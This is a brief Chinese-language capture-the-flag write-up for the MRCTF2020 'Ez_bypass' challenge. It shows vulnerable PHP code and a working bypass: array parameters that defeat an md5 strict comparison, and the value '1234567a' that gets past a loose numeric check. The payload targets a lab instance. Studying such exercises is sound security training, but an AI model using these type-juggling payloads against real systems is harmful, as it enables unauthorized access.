[MRCTF2020]Ez_bypass

发布时间 2023-10-09 15:50:08作者: 圆弧状态

原理

md5的弱比较问题
字符串和数字的弱比较问题

解题过程

进入靶场查看原代码,要代码审计

I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
    $id=$_GET['id'];
    $gg=$_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo 'You got the first step';
        if(isset($_POST['passwd'])) {
            $passwd=$_POST['passwd'];
            if (!is_numeric($passwd))
            {
                 if($passwd==1234567)
                 {
                     echo 'Good Job!';
                     highlight_file('flag.php');
                     die('By Retr_0');
                 }
                 else
                 {
                     echo "can you think twice??";
                 }
            }
            else{
                echo 'You can not get it !';
            }

        }
        else{
            die('only one way to get the flag');
        }
}
    else {
        echo "You are not a real hacker!";
    }
}
else{
    die('Please input first');
}
}Please input first

很简单,就是md5的弱比较问题,字符串和数字的弱比较问题

payload:http://a3f78081-ed9d-40b8-9196-80cd7b5fa8d9.node4.buuoj.cn:81/?id[]=1&gg[]=2
post数据:passwd=1234567a